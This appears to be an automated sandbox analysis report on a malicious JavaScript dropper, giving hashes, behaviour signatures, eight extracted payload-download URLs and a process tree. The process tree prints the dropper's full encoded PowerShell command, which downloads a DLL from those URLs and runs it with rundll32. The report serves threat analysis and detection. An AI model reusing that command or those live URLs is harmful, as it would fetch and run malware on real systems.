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Analysis

  • max time kernel
    109s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/03/2023, 01:19

General

  • Target

    726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js

  • Size

    56KB

  • MD5

    47823c1f4f981be1c7982ab0a423beae

  • SHA1

    80e0582d0e996c70e0971f690bfece18399d55cc

  • SHA256

    726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5

  • SHA512

    82d354af54d2ea828793492318e3a7556f0979c9128aad51f569ca54394b63c232b91ba8731ae39fe52033a1e5085247e28181d348337b98b4077dd96e9f77ad

  • SSDEEP

    1536:pL/Zdr8m3FU83O5VWxWPapLDqkDG8Gzc2h9NJQ2vQYWwrr+zY:pL/ZeS8SlnSPQ2vxW+d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://getcash2surveys.com/0HFE0G/B0pO8q

exe.dropper

https://kingzunlimited.com/VvAmv/oCbHYAy0eo

exe.dropper

https://odwazig.nl/xNV7x/skdz8v

exe.dropper

https://onestopsilkscreeners.ca/o6g4bt1/mAbPqVmip

exe.dropper

https://smeolbd.com/ntaUX/9dhOa9

exe.dropper

https://canadianused.com/euSgOJA/l0VcI3

exe.dropper

https://discountlandllc.com/uUbH/rzrp6AIe

exe.dropper

https://sobanaze.com/cJn7i/GNp24jZRl6T

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcgBlAG0AaQBzAHMAaQB2AGUAUwBlAG0AaQBuAGEAdABpAG4AZwAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGcAZQB0AGMAYQBzAGgAMgBzAHUAcgB2AGUAeQBzAC4AYwBvAG0ALwAwAEgARgBFADAARwAvAEIAMABwAE8AOABxACwAaAB0AHQAcABzADoALwAvAGsAaQBuAGcAegB1AG4AbABpAG0AaQB0AGUAZAAuAGMAbwBtAC8AVgB2AEEAbQB2AC8AbwBDAGIASABZAEEAeQAwAGUAbwAsAGgAdAB0AHAAcwA6AC8ALwBvAGQAdwBhAHoAaQBnAC4AbgBsAC8AeABOAFYANwB4AC8AcwBrAGQAegA4AHYALABoAHQAdABwAHMAOgAvAC8AbwBuAGUAcwB0AG8AcABzAGkAbABrAHMAYwByAGUAZQBuAGUAcgBzAC4AYwBhAC8AbwA2AGcANABiAHQAMQAvAG0AQQBiAFAAcQBWAG0AaQBwACwAaAB0AHQAcABzADoALwAvAHMAbQBlAG8AbABiAGQALgBjAG8AbQAvAG4AdABhAFUAWAAvADkAZABoAE8AYQA5ACwAaAB0AHQAcABzADoALwAvAGMAYQBuAGEAZABpAGEAbgB1AHMAZQBkAC4AYwBvAG0ALwBlAHUAUwBnAE8ASgBBAC8AbAAwAFYAYwBJADMALABoAHQAdABwAHMAOgAvAC8AZABpAHMAYwBvAHUAbgB0AGwAYQBuAGQAbABsAGMALgBjAG8AbQAvAHUAVQBiAEgALwByAHoAcgBwADYAQQBJAGUALABoAHQAdABwAHMAOgAvAC8AcwBvAGIAYQBuAGEAegBlAC4AYwBvAG0ALwBjAEoAbgA3AGkALwBHAE4AcAAyADQAagBaAFIAbAA2AFQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZQBuAHQAaAByAGEAbABtAGUAbgB0AFMAZQBtAHAAZQByAGkAZABlAG4AdABpAGMAYQBsACAAaQBuACAAJAByAGUAbQBpAHMAcwBpAHYAZQBTAGUAbQBpAG4AYQB0AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGUAbgB0AGgAcgBhAGwAbQBlAG4AdABTAGUAbQBwAGUAcgBpAGQAZQBuAHQAaQBjAGEAbAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGcAcgBpAHAAcABpAG4AZwAuAGQAbABsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGcAcgBpAHAAcABpAG4AZwAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAFUAbgBnAHIAaQBwAHAAaQBuAGcALgBkAGwAbAAsAFcAVwA1ADAAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3992

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e4xvrjqa.bot.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3992-138-0x00000241471C0000-0x00000241471E2000-memory.dmp

    Filesize

    136KB

  • memory/3992-143-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB

  • memory/3992-144-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB

  • memory/3992-145-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB

  • memory/3992-148-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB

  • memory/3992-149-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB

  • memory/3992-150-0x0000024145D80000-0x0000024145D90000-memory.dmp

    Filesize

    64KB